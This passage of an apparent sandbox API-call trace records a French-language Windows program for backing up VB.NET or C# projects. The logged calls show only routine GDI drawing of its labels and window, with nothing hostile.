0xc8c8c8 [0051.909] CreateSolidBrush (color=0xc8c8c8) returned 0x1210084d [0051.910] FillRect (hDC=0x30010156, lprc=0x32eb48, hbr=0x1210084d) returned 1 [0051.910] DeleteObject (ho=0x1210084d) returned 1 [0051.910] RestoreDC (hdc=0x30010156, nSavedDC=-1) returned 1 [0051.910] GdipReleaseDC (graphics=0x4c358c0, hdc=0x30010156) returned 0x0 [0051.910] GdipRestoreGraphics (graphics=0x4c358c0, state=0xfda50dbd) returned 0x0 [0051.910] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0051.910] GetWindowTextLengthW (hWnd=0x301bc) returned 22 [0051.910] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301bc, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x16 [0051.910] GetSystemMetrics (nIndex=42) returned 0 [0051.910] GetWindowTextW (in: hWnd=0x301bc, lpString=0x32ebcc, nMaxCount=23 | out: lpString="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a") returned 22 [0051.910] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301bc, Msg=0xd, wParam=0x17, lParam=0x32ebcc) returned 0x16 [0051.910] GdipGetDC (graphics=0x4c358c0, hdc=0x32eb64) returned 0x0 [0051.910] GetCurrentObject (hdc=0x30010156, type=0x1) returned 0x1b00017 [0051.910] GetCurrentObject (hdc=0x30010156, type=0x2) returned 0x1900010 [0051.910] GetCurrentObject (hdc=0x30010156, type=0x7) returned 0x70050254 [0051.910] GetCurrentObject (hdc=0x30010156, type=0x6) returned 0x18a002e [0051.910] SaveDC (hdc=0x30010156) returned 1 [0051.910] GetNearestColor (hdc=0x30010156, color=0x0) returned 0x0 [0051.910] RestoreDC (hdc=0x30010156, nSavedDC=-1) returned 1 [0051.910] GdipReleaseDC (graphics=0x4c358c0, hdc=0x30010156) returned 0x0 [0051.910] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73c90000 [0051.910] AdjustWindowRectEx (in: lpRect=0x32ea88, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ea88) returned 1 [0051.910] GdipGetTextRenderingHint (graphics=0x4c358c0, mode=0x32eb04) returned 0x0 [0051.911] GdipGetDC (graphics=0x4c358c0, hdc=0x32eaf0) returned 0x0 [0051.911] GetCurrentObject (hdc=0x30010156, type=0x1) returned 0x1b00017 [0051.911] GetCurrentObject (hdc=0x30010156, type=0x2) returned 0x1900010 [0051.911] GetCurrentObject (hdc=0x30010156, type=0x7) returned 0x70050254 [0051.911] GetCurrentObject (hdc=0x30010156, type=0x6) returned 0x18a002e [0051.911] SaveDC (hdc=0x30010156) returned 1 [0051.911] GetTextAlign (hdc=0x30010156) returned 0x0 [0051.911] GetTextColor (hdc=0x30010156) returned 0x0 [0051.911] GetCurrentObject (hdc=0x30010156, type=0x6) returned 0x18a002e [0051.911] GetObjectW (in: h=0x18a002e, c=92, pv=0x32e7f8 | out: pv=0x32e7f8) returned 92 [0051.911] SelectObject (hdc=0x30010156, h=0x100a0252) returned 0x18a002e [0051.911] GetBkMode (hdc=0x30010156) returned 2 [0051.911] SetBkMode (hdc=0x30010156, mode=1) returned 2 [0051.911] DrawTextExW (in: hdc=0x30010156, lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", cchText=22, lprc=0x32e8cc, format=0x404, lpdtp=0x25c77b4 | out: lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", lprc=0x32e8cc) returned 13 [0051.911] DrawTextExW (in: hdc=0x30010156, lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", cchText=22, lprc=0x32ea84, format=0x4, lpdtp=0x25c77b4 | out: lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", lprc=0x32ea84) returned 13 [0051.911] RestoreDC (hdc=0x30010156, nSavedDC=-1) returned 1 [0051.911] GdipReleaseDC (graphics=0x4c358c0, hdc=0x30010156) returned 0x0 [0051.911] GdipGetDC (graphics=0x4c358c0, hdc=0x32eca0) returned 0x0 [0051.911] BitBlt (hdc=0x12010815, x=0, y=0, cx=161, cy=21, hdcSrc=0x30010156, x1=0, y1=0, rop=0xcc0020) returned 1 [0051.911] GdipReleaseDC (graphics=0x4c358c0, hdc=0x30010156) returned 0x0 [0051.912] SelectPalette (hdc=0x12010815, hPal=0x188000b, bForceBkgd=0) returned 0x1d080842 [0051.912] SelectObject (hdc=0x30010156, h=0x185000f) returned 0x70050254 [0051.912] DeleteDC (hdc=0x30010156) returned 1 [0051.912] GdipDeleteGraphics (graphics=0x4c358c0) returned 0x0 [0051.912] EndPaint (hWnd=0x301bc, lpPaint=0x32ec44) returned 1 [0051.912] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0051.912] IsWindowUnicode (hWnd=0x201e2) returned 1 [0051.912] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0051.912] TranslateMessage (lpMsg=0x32f158) returned 0 [0051.912] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0051.912] BeginPaint (in: hWnd=0x201e2, lpPaint=0x32ec48 | out: lpPaint=0x32ec48) returned 0x2010847 [0051.912] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e2, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0051.912] SelectPalette (hdc=0x2010847, hPal=0x1d080842, bForceBkgd=1) returned 0x188000b [0051.912] CreateCompatibleDC (hdc=0x2010847) returned 0x33010156 [0051.912] SelectObject (hdc=0x33010156, h=0x70050254) returned 0x185000f [0051.912] GdipCreateFromHDC (hdc=0x33010156, graphics=0x32ec60) returned 0x0 [0051.912] GdipTranslateWorldTransform (graphics=0x4c358c0, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0051.912] GdipSetClipRectI (graphics=0x4c358c0, x=0, y=0, width=161, height=21, combineMode=0x0) returned 0x0 [0051.913] GdipCreateMatrix (matrix=0x32eca8) returned 0x0 [0051.913] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35ba0) returned 0x0 [0051.943] GdipIsMatrixIdentity (matrix=0x4c35ba0, result=0x32ecc0) returned 0x0 [0051.943] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x634980 [0051.943] GdipGetMatrixElements (matrix=0x4c35ba0, matrixOut=0x634980) returned 0x0 [0051.943] LocalFree (hMem=0x634980) returned 0x0 [0051.943] GdipDeleteMatrix (matrix=0x4c35ba0) returned 0x0 [0051.943] GdipCreateRegion (region=0x32eca8) returned 0x0 [0051.943] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0051.943] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32ecb4) returned 0x0 [0051.943] GdipSaveGraphics (graphics=0x4c358c0, state=0x32ece0) returned 0x0 [0051.943] GetWindowTextLengthW (hWnd=0x201e2) returned 28 [0051.943] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e2, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1c [0051.943] GetSystemMetrics (nIndex=42) returned 0 [0051.943] GetWindowTextW (in: hWnd=0x201e2, lpString=0x32ebc0, nMaxCount=29 | out: lpString="Fichier solution du projet :") returned 28 [0051.943] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e2, Msg=0xd, wParam=0x1d, lParam=0x32ebc0) returned 0x1c [0051.943] GetClientRect (in: hWnd=0x201e2, lpRect=0x32eca8 | out: lpRect=0x32eca8) returned 1 [0051.943] GdipCreateRegion (region=0x32eafc) returned 0x0 [0051.943] GdipGetClip (graphics=0x4c358c0, region=0x4c35ec0) returned 0x0 [0051.944] GdipCreateMatrix (matrix=0x32eafc) returned 0x0 [0051.944] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0051.944] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32eb14) returned 0x0 [0051.944] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x634980 [0051.944] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x634980) returned 0x0 [0051.944] LocalFree (hMem=0x634980) returned 0x0 [0051.944] GdipCombineRegionRegion (region=0x4c35ec0, region2=0x4c35bd0, combineMode=0x1) returned 0x0 [0051.944] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x634980 [0051.945] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x634980) returned 0x0 [0051.945] LocalFree (hMem=0x634980) returned 0x0 [0051.945] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0051.945] GdipIsInfiniteRegion (region=0x4c35ec0, graphics=0x4c358c0, result=0x32eb3c) returned 0x0 [0051.945] GdipIsInfiniteRegion (region=0x4c35ec0, graphics=0x4c358c0, result=0x32eb2c) returned 0x0 [0051.945] GdipGetRegionHRgn (region=0x4c35ec0, graphics=0x4c358c0, hRgn=0x32eb2c) returned 0x0 [0051.945] GdipDeleteRegion (region=0x4c35ec0) returned 0x0 [0051.945] GdipGetDC (graphics=0x4c358c0, hdc=0x32eb44) returned 0x0 [0051.945] GetCurrentObject (hdc=0x33010156, type=0x1) returned 0x1b00017 [0051.945] GetCurrentObject (hdc=0x33010156, type=0x2) returned 0x1900010 [0051.945] GetCurrentObject (hdc=0x33010156, type=0x7) returned 0x70050254 [0051.945] GetCurrentObject (hdc=0x33010156, type=0x6) returned 0x18a002e [0051.945] SaveDC (hdc=0x33010156) returned 1 [0051.945] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x2d0401e3 [0051.945] GetClipRgn (hdc=0x33010156, hrgn=0x2d0401e3) returned 0 [0051.945] SelectClipRgn (hdc=0x33010156, hrgn=0x29040850) returned 2 [0051.945] DeleteObject (ho=0x2d0401e3) returned 1 [0051.945] DeleteObject (ho=0x29040850) returned 1 [0051.945] OffsetViewportOrgEx (in: hdc=0x33010156, x=0, y=0, lppt=0x25c7d80 | out: lppt=0x25c7d80) returned 1 [0051.945] GetNearestColor (hdc=0x33010156, color=0xc8c8c8) returned 0xc8c8c8 [0051.946] CreateSolidBrush (color=0xc8c8c8) returned 0x1310084d [0051.946] FillRect (hDC=0x33010156, lprc=0x32eb48, hbr=0x1310084d) returned 1 [0051.946] DeleteObject (ho=0x1310084d) returned 1 [0051.946] RestoreDC (hdc=0x33010156, nSavedDC=-1) returned 1 [0051.946] GdipReleaseDC (graphics=0x4c358c0, hdc=0x33010156) returned 0x0 [0051.946] GdipRestoreGraphics (graphics=0x4c358c0, state=0xfda30dbd) returned 0x0 [0051.946] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0051.946] GetWindowTextLengthW (hWnd=0x201e2) returned 28 [0051.946] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e2, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1c [0051.946] GetSystemMetrics (nIndex=42) returned 0 [0051.946] GetWindowTextW (in: hWnd=0x201e2, lpString=0x32ebc0, nMaxCount=29 | out: lpString="Fichier solution du projet :") returned 28 [0051.946] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e2, Msg=0xd, wParam=0x1d, lParam=0x32ebc0) returned 0x1c [0051.946] GdipGetDC (graphics=0x4c358c0, hdc=0x32eb64) returned 0x0 [0051.946] GetCurrentObject (hdc=0x33010156, type=0x1) returned 0x1b00017 [0051.946] GetCurrentObject (hdc=0x33010156, type=0x2) returned 0x1900010 [0051.946] GetCurrentObject (hdc=0x33010156, type=0x7) returned 0x70050254 [0051.946] GetCurrentObject (hdc=0x33010156, type=0x6) returned 0x18a002e [0051.946] SaveDC (hdc=0x33010156) returned 1 [0051.946] GetNearestColor (hdc=0x33010156, color=0x0) returned 0x0 [0051.946] RestoreDC (hdc=0x33010156, nSavedDC=-1) returned 1 [0051.946] GdipReleaseDC (graphics=0x4c358c0, hdc=0x33010156) returned 0x0 [0051.947] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73c90000 [0051.947] AdjustWindowRectEx (in: lpRect=0x32ea88, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ea88) returned 1 [0051.947] GdipGetTextRenderingHint (graphics=0x4c358c0, mode=0x32eb04) returned 0x0 [0051.947] GdipGetDC (graphics=0x4c358c0, hdc=0x32eaf0) returned 0x0 [0051.947] GetCurrentObject (hdc=0x33010156, type=0x1) returned 0x1b00017 [0051.947] GetCurrentObject (hdc=0x33010156, type=0x2) returned 0x1900010 [0051.947] GetCurrentObject (hdc=0x33010156, type=0x7) returned 0x70050254 [0051.947] GetCurrentObject (hdc=0x33010156, type=0x6) returned 0x18a002e [0051.947] SaveDC (hdc=0x33010156) returned 1 [0051.947] GetTextAlign (hdc=0x33010156) returned 0x0 [0051.947] GetTextColor (hdc=0x33010156) returned 0x0 [0051.947] GetCurrentObject (hdc=0x33010156, type=0x6) returned 0x18a002e [0051.947] GetObjectW (in: h=0x18a002e, c=92, pv=0x32e7f8 | out: pv=0x32e7f8) returned 92 [0051.947] SelectObject (hdc=0x33010156, h=0x100a0252) returned 0x18a002e [0051.947] GetBkMode (hdc=0x33010156) returned 2 [0051.947] SetBkMode (hdc=0x33010156, mode=1) returned 2 [0051.947] DrawTextExW (in: hdc=0x33010156, lpchText="Fichier solution du projet :", cchText=28, lprc=0x32e8cc, format=0x404, lpdtp=0x25c8280 | out: lpchText="Fichier solution du projet :", lprc=0x32e8cc) returned 13 [0051.947] DrawTextExW (in: hdc=0x33010156, lpchText="Fichier solution du projet :", cchText=28, lprc=0x32ea84, format=0x4, lpdtp=0x25c8280 | out: lpchText="Fichier solution du projet :", lprc=0x32ea84) returned 13 [0051.948] RestoreDC (hdc=0x33010156, nSavedDC=-1) returned 1 [0051.948] GdipReleaseDC (graphics=0x4c358c0, hdc=0x33010156) returned 0x0 [0051.948] GdipGetDC (graphics=0x4c358c0, hdc=0x32eca0) returned 0x0 [0051.948] BitBlt (hdc=0x2010847, x=0, y=0, cx=161, cy=21, hdcSrc=0x33010156, x1=0, y1=0, rop=0xcc0020) returned 1 [0051.960] GdipReleaseDC (graphics=0x4c358c0, hdc=0x33010156) returned 0x0 [0051.960] SelectPalette (hdc=0x2010847, hPal=0x188000b, bForceBkgd=0) returned 0x1d080842 [0051.960] SelectObject (hdc=0x33010156, h=0x185000f) returned 0x70050254 [0051.960] DeleteDC (hdc=0x33010156) returned 1 [0051.960] GdipDeleteGraphics (graphics=0x4c358c0) returned 0x0 [0051.960] EndPaint (hWnd=0x201e2, lpPaint=0x32ec44) returned 1 [0051.960] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0051.960] IsWindowUnicode (hWnd=0x201e4) returned 1 [0051.960] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0051.960] TranslateMessage (lpMsg=0x32f158) returned 0 [0051.960] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0051.960] BeginPaint (in: hWnd=0x201e4, lpPaint=0x32ec3c | out: lpPaint=0x32ec3c) returned 0x2010847 [0051.960] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0051.960] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x14, wParam=0x2010847, lParam=0x0) returned 0x1 [0051.960] GetStockObject (i=5) returned 0x1900015 [0051.961] SelectPalette (hdc=0x2010847, hPal=0x1d080842, bForceBkgd=1) returned 0x188000b [0051.961] CreateCompatibleDC (hdc=0x2010847) returned 0x36010156 [0051.961] SelectObject (hdc=0x36010156, h=0x70050254) returned 0x185000f [0051.961] GdipCreateFromHDC (hdc=0x36010156, graphics=0x32ec54) returned 0x0 [0051.961] GdipTranslateWorldTransform (graphics=0x4c358c0, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0051.961] GdipSetClipRectI (graphics=0x4c358c0, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0051.961] GdipCreateMatrix (matrix=0x32ec9c) returned 0x0 [0051.961] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35ba0) returned 0x0 [0051.961] GdipIsMatrixIdentity (matrix=0x4c35ba0, result=0x32ecb4) returned 0x0 [0051.961] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x634980 [0051.961] GdipGetMatrixElements (matrix=0x4c35ba0, matrixOut=0x634980) returned 0x0 [0051.961] LocalFree (hMem=0x634980) returned 0x0 [0051.961] GdipDeleteMatrix (matrix=0x4c35ba0) returned 0x0 [0051.961] GdipCreateRegion (region=0x32ec9c) returned 0x0 [0051.961] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0051.961] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32eca8) returned 0x0 [0051.961] GdipSaveGraphics (graphics=0x4c358c0, state=0x32ecd4) returned 0x0 [0051.961] GdipRestoreGraphics (graphics=0x4c358c0, state=0xfda10dbd) returned 0x0 [0051.961] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0051.961] GdipGetDC (graphics=0x4c358c0, hdc=0x32eac0) returned 0x0 [0051.961] GetCurrentObject (hdc=0x36010156, type=0x1) returned 0x1b00017 [0051.961] GetCurrentObject (hdc=0x36010156, type=0x2) returned 0x1900010 [0051.961] GetCurrentObject (hdc=0x36010156, type=0x7) returned 0x70050254 [0051.961] GetCurrentObject (hdc=0x36010156, type=0x6) returned 0x18a002e [0051.962] SaveDC (hdc=0x36010156) returned 1 [0051.962] GetNearestColor (hdc=0x36010156, color=0xf0f0f0) returned 0xf0f0f0 [0051.962] GetNearestColor (hdc=0x36010156, color=0xa0a0a0) returned 0xa0a0a0 [0051.962] GetNearestColor (hdc=0x36010156, color=0x696969) returned 0x696969 [0051.962] GetNearestColor (hdc=0x36010156, color=0xa0a0a0) returned 0xa0a0a0 [0051.962] GetNearestColor (hdc=0x36010156, color=0x0) returned 0x0 [0051.962] GetNearestColor (hdc=0x36010156, color=0xffffff) returned 0xffffff [0051.962] GetNearestColor (hdc=0x36010156, color=0xe5e5e5) returned 0xe5e5e5 [0051.962] GetNearestColor (hdc=0x36010156, color=0xd7d7d7) returned 0xd7d7d7 [0051.962] GetNearestColor (hdc=0x36010156, color=0x0) returned 0x0 [0051.962] RestoreDC (hdc=0x36010156, nSavedDC=-1) returned 1 [0051.962] GdipReleaseDC (graphics=0x4c358c0, hdc=0x36010156) returned 0x0 [0051.962] IsAppThemed () returned 0x1 [0051.962] GetThemeAppProperties () returned 0x3 [0051.962] GetThemeAppProperties () returned 0x3 [0051.962] IsAppThemed () returned 0x1 [0051.962] GetThemeAppProperties () returned 0x3 [0051.962] GetThemeAppProperties () returned 0x3 [0051.962] DrawTextExW (in: hdc=0x11010846, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32e97c, format=0x2415, lpdtp=0x25c89ac | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32e97c) returned 13 [0051.962] IsAppThemed () returned 0x1 [0051.962] GetThemeAppProperties () returned 0x3 [0051.962] GetThemeAppProperties () returned 0x3 [0051.962] IsAppThemed () returned 0x1 [0051.963] GetThemeAppProperties () returned 0x3 [0051.963] GetThemeAppProperties () returned 0x3 [0051.963] GetFocus () returned 0x0 [0051.963] IsAppThemed () returned 0x1 [0051.963] GetThemeAppProperties () returned 0x3 [0051.963] GetThemeAppProperties () returned 0x3 [0051.963] IsAppThemed () returned 0x1 [0051.963] GetThemeAppProperties () returned 0x3 [0051.963] GetThemeAppProperties () returned 0x3 [0051.963] IsThemePartDefined () returned 0x1 [0051.963] IsAppThemed () returned 0x1 [0051.963] GetThemeAppProperties () returned 0x3 [0051.963] GetThemeAppProperties () returned 0x3 [0051.963] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0051.963] IsAppThemed () returned 0x1 [0051.963] GetThemeAppProperties () returned 0x3 [0051.963] GetThemeAppProperties () returned 0x3 [0051.963] IsAppThemed () returned 0x1 [0051.963] GetThemeAppProperties () returned 0x3 [0051.963] GetThemeAppProperties () returned 0x3 [0051.963] IsThemePartDefined () returned 0x1 [0051.963] GdipCreateRegion (region=0x32e9c4) returned 0x0 [0051.963] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0051.963] GdipCreateMatrix (matrix=0x32e9c4) returned 0x0 [0051.963] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0051.963] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32e9dc) returned 0x0 [0051.963] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x634980 [0051.963] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x634980) returned 0x0 [0051.963] LocalFree (hMem=0x634980) returned 0x0 [0051.963] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x634980 [0051.963] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x634980) returned 0x0 [0051.963] LocalFree (hMem=0x634980) returned 0x0 [0051.963] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0051.963] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32ea04) returned 0x0 [0051.963] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32e9f4) returned 0x0 [0051.963] GdipGetRegionHRgn (region=0x4c35bd0, graphics=0x4c358c0, hRgn=0x32e9f4) returned 0x0 [0051.964] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0051.964] GdipGetDC (graphics=0x4c358c0, hdc=0x32ea0c) returned 0x0 [0051.964] GetCurrentObject (hdc=0x36010156, type=0x1) returned 0x1b00017 [0051.964] GetCurrentObject (hdc=0x36010156, type=0x2) returned 0x1900010 [0051.964] GetCurrentObject (hdc=0x36010156, type=0x7) returned 0x70050254 [0051.964] GetCurrentObject (hdc=0x36010156, type=0x6) returned 0x18a002e [0051.964] SaveDC (hdc=0x36010156) returned 1 [0051.964] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x2a040850 [0051.964] GetClipRgn (hdc=0x36010156, hrgn=0x2a040850) returned 0 [0051.964] SelectClipRgn (hdc=0x36010156, hrgn=0x310401e3) returned 2 [0051.964] DeleteObject (ho=0x2a040850) returned 1 [0051.964] DeleteObject (ho=0x310401e3) returned 1 [0051.964] OffsetViewportOrgEx (in: hdc=0x36010156, x=0, y=0, lppt=0x25c905c | out: lppt=0x25c905c) returned 1 [0051.964] DrawThemeParentBackground () returned 0x0 [0051.964] GetWindowPlacement (in: hWnd=0x50120, lpwndpl=0x32e780 | out: lpwndpl=0x32e780) returned 1 [0051.964] GetClientRect (in: hWnd=0x50120, lpRect=0x32e72c | out: lpRect=0x32e72c) returned 1 [0051.964] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0051.964] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0051.964] GetSystemMetrics (nIndex=42) returned 0 [0051.964] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e5bc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0051.964] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e5bc) returned 0x23 [0051.964] GetClientRect (in: hWnd=0x50120, lpRect=0x32e634 | out: lpRect=0x32e634) returned 1 [0051.964] GetCurrentObject (hdc=0x36010156, type=0x1) returned 0x1b00017 [0051.964] GetCurrentObject (hdc=0x36010156, type=0x2) returned 0x1900010 [0051.964] GetCurrentObject (hdc=0x36010156, type=0x7) returned 0x70050254 [0051.965] GetCurrentObject (hdc=0x36010156, type=0x6) returned 0x18a002e [0051.965] SaveDC (hdc=0x36010156) returned 2 [0051.965] GetNearestColor (hdc=0x36010156, color=0xf0f0f0) returned 0xf0f0f0 [0051.965] CreateSolidBrush (color=0xf0f0f0) returned 0x1410084d [0051.965] FillRect (hDC=0x36010156, lprc=0x32e4d4, hbr=0x1410084d) returned 1 [0051.965] DeleteObject (ho=0x1410084d) returned 1 [0051.965] RestoreDC (hdc=0x36010156, nSavedDC=-1) returned 1 [0051.965] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0051.965] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0051.965] GetSystemMetrics (nIndex=42) returned 0 [0051.965] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e55c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0051.965] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e55c) returned 0x23 [0051.965] GetClientRect (in: hWnd=0x50120, lpRect=0x32e5d4 | out: lpRect=0x32e5d4) returned 1 [0051.965] GetCurrentObject (hdc=0x36010156, type=0x1) returned 0x1b00017 [0051.965] GetCurrentObject (hdc=0x36010156, type=0x2) returned 0x1900010 [0051.965] GetCurrentObject (hdc=0x36010156, type=0x7) returned 0x70050254 [0051.965] GetCurrentObject (hdc=0x36010156, type=0x6) returned 0x18a002e [0051.965] SaveDC (hdc=0x36010156) returned 2 [0051.965] GetNearestColor (hdc=0x36010156, color=0xf0f0f0) returned 0xf0f0f0 [0051.965] CreateSolidBrush (color=0xf0f0f0) returned 0x1510084d [0051.965] FillRect (hDC=0x36010156, lprc=0x32e474, hbr=0x1510084d) returned 1 [0051.965] DeleteObject (ho=0x1510084d) returned 1 [0051.965] RestoreDC (hdc=0x36010156, nSavedDC=-1) returned 1 [0051.966] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0051.966] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0051.966] GetSystemMetrics (nIndex=42) returned 0 [0051.966] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e55c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0051.966] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e55c) returned 0x23 [0051.966] RestoreDC (hdc=0x36010156, nSavedDC=-1) returned 1 [0051.966] GdipReleaseDC (graphics=0x4c358c0, hdc=0x36010156) returned 0x0 [0051.966] IsAppThemed () returned 0x1 [0051.966] GetThemeAppProperties () returned 0x3 [0051.966] GetThemeAppProperties () returned 0x3 [0051.966] IsAppThemed () returned 0x1 [0051.966] GetThemeAppProperties () returned 0x3 [0051.966] GetThemeAppProperties () returned 0x3 [0051.966] IsThemePartDefined () returned 0x1 [0051.966] GdipCreateRegion (region=0x32e968) returned 0x0 [0051.966] GdipGetClip (graphics=0x4c358c0, region=0x4c35ba0) returned 0x0 [0051.966] GdipCreateMatrix (matrix=0x32e968) returned 0x0 [0051.966] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35c30) returned 0x0 [0051.966] GdipIsMatrixIdentity (matrix=0x4c35c30, result=0x32e980) returned 0x0 [0051.966] GdipGetMatrixElements (matrix=0x4c35c30, matrixOut=0x634980) returned 0x0 [0051.966] LocalFree (hMem=0x634980) returned 0x0 [0051.966] GdipGetMatrixElements (matrix=0x4c35c30, matrixOut=0x634980) returned 0x0 [0051.966] LocalFree (hMem=0x634980) returned 0x0 [0051.966] GdipDeleteMatrix (matrix=0x4c35c30) returned 0x0 [0051.966] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e9a8) returned 0x0 [0051.966] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e998) returned 0x0 [0051.967] GdipGetRegionHRgn (region=0x4c35ba0, graphics=0x4c358c0, hRgn=0x32e998) returned 0x0 [0051.967] GdipDeleteRegion (region=0x4c35ba0) returned 0x0 [0051.967] GdipGetDC (graphics=0x4c358c0, hdc=0x32e9b0) returned 0x0 [0051.967] GetCurrentObject (hdc=0x36010156, type=0x1) returned 0x1b00017 [0051.967] GetCurrentObject (hdc=0x36010156, type=0x2) returned 0x1900010 [0051.967] GetCurrentObject (hdc=0x36010156, type=0x7) returned 0x70050254 [0051.967] GetCurrentObject (hdc=0x36010156, type=0x6) returned 0x18a002e [0051.967] SaveDC (hdc=0x36010156) returned 1 [0051.967] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x320401e3 [0051.967] GetClipRgn (hdc=0x36010156, hrgn=0x320401e3) returned 0 [0051.967] SelectClipRgn 